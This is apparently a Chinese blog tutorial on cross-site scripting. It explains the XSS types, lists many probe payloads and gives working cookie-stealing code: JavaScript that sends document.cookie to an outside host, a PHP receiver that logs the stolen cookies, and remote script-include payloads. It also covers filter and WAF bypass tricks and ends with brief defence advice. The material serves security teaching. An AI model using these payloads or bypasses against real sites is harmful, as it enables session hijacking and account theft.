• 跨站脚本攻击xss


      XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

     

     

     

     

    XSS分为三类:

      反射型XSS:简单的把用户输入的数据反射给浏览器,它一次性的和被动的。只有用户点击了攻击者的XSS攻击连接才会触发。

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    ?>

      存储型XSS:攻击者的XSS代码会被存在在数据库里面,永久性存储,具有很强的稳定性。也是XSS中危害最大的。常见于页面数据交汇处。如:评论,修改用户信息,登录,留言板,搜索等地方。攻击者将脚本代码嵌入留言区等,提交到服务器,其他用户登录时也会执行该脚本代码。

      DOM型XSS:不与后台服务器产生数据交互,通过更改前端的dom节点形成的XSS漏洞。

     

    XSS攻击的危害:

    • 盗取用户cookie;

    • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;

    • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;

    • 盗窃企业重要的具有商业价值的资料;

    • 强制发送电子邮件;

    • 网站挂马

     

    如何查找XSS:

       手工查找:只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS(如:HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等),也可以借助半自动工具辅助(Burpsuite、firefox(hackbar)、XSSER、 XSSF等)。

    http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>

      工具查找:APPscan、AWVS、Burpsuite 等

     

    一些经典xss语句:(仅供学习使用,请勿进行非法攻击)

    <h5>1</h5>
    <SCRIPT>alert(document.cookie)</SCRIPT>
    <img src=1 onerror=alert(document.cookie)>
    <script>alert('xss');</script>
    >"'><img src="javascript.:alert('XSS')">
    >"'><script>alert('XSS')</script>
    <table background='javascript.:alert(([code])'></table>
    <object type=text/html data='javascript.:alert(([code]);'></object>
    "+alert('XSS')+"
    '><script>alert(document.cookie)</script>
    ='><script>alert(document.cookie)</script>
    pt>alert(document.cookie)</script>
    <script>alert(vulnerable)</script>
    <s&#99;ript>alert('XSS')</script>
    <img src="javas&#99;ript:alert('XSS')">
    %0a%0a<script>alert("Vulnerable")</script>.jsp
    3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

     

    XSS盗取cookie原理:

    首先编写 js代码获取用户cookie值

    var img = document.createElement('img');  // 创建一个图片标签
    img.width = 0;    //设置图片的宽为0
    img.height = 0;   //设置图片的高为0

     img.src = 'http://ip /xss.php?Cookie='+encodeURIComponent(document.cookie);// 设置图片的src属性,该src能将用户的cookie值发送到这个连接的服务器

     

    编写服务器后台代码

    <?php
        @ini_set('display_errors',1);    // 直接在浏览器中输出错误信息
        $str = $_GET['Cookie'];         // 获取用户cookie
        $filePath = "Cookie.php";      // 将用户的cookie保存
        $handler = fopen($filePath, "a");
        fwrite($handler, $str);
    fclose($handler);
    ?>

     

    构造 XSS payload

    <script src="http://192.168.64.134/xss.js"></script>
    
    <script src="//192.168.64.134/xss.js "></script>

     

    以pikachu靶场做实验,效果如下。

    插入payload,然后提交

     

    后台服务器效果如下

    XSS绕过技巧:

    • 对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
    • 防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。例:<sCRipT>alert('xss')</sCrIPt>
    • 防止后台对输入的内容进行替换,采用拼拼凑的输入方法。例:<sc<script>ript>alert('xss')</scr<script>ipt>
    • 使用注释来干扰后台对输入内容的识别。例:<sc<!--test-->ript>alert('xss')</scr<!--tshauie-->ipt>
    • 编码思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
    • 转换标签:script 标签不行,可以替换其他标签(如:img、onclick)。例如:<img src=a onerror=alert(1)>

     

    XSS常规waf绕过技巧:

    • 标签语法替换
    • 特殊符号干扰
    • 提交方式更改
    • 垃圾数据溢出
    • 加密解密算法
    • 结合其他漏洞绕过

    XSS防御:

    XSS防御的总体思路是:对输入进行过滤,对输出进行编码

    过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。

    转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()

  • 相关阅读:
    web.xml里<filtermapping>中的<dispatcher>作用
    C3P0的详细配置说明(com.mchange.v2.c3p0.ComboPooledDataSource)
    autowire异常的三个情况,以及处理方式
    visual studio 2012 密钥
    Executor线程池实例
    使用BufferedReader和BufferedWriter读写文件
    WEB开发工具
    access内置函数
    ASP.NET缓存技术学习入门页面缓存(OutPut Caching)
    ASP.NET缓存学习入门数据缓存
  • 原文地址:https://www.cnblogs.com/xingyuyu/p/15401015.html
Copyright © 2020-2023  润新知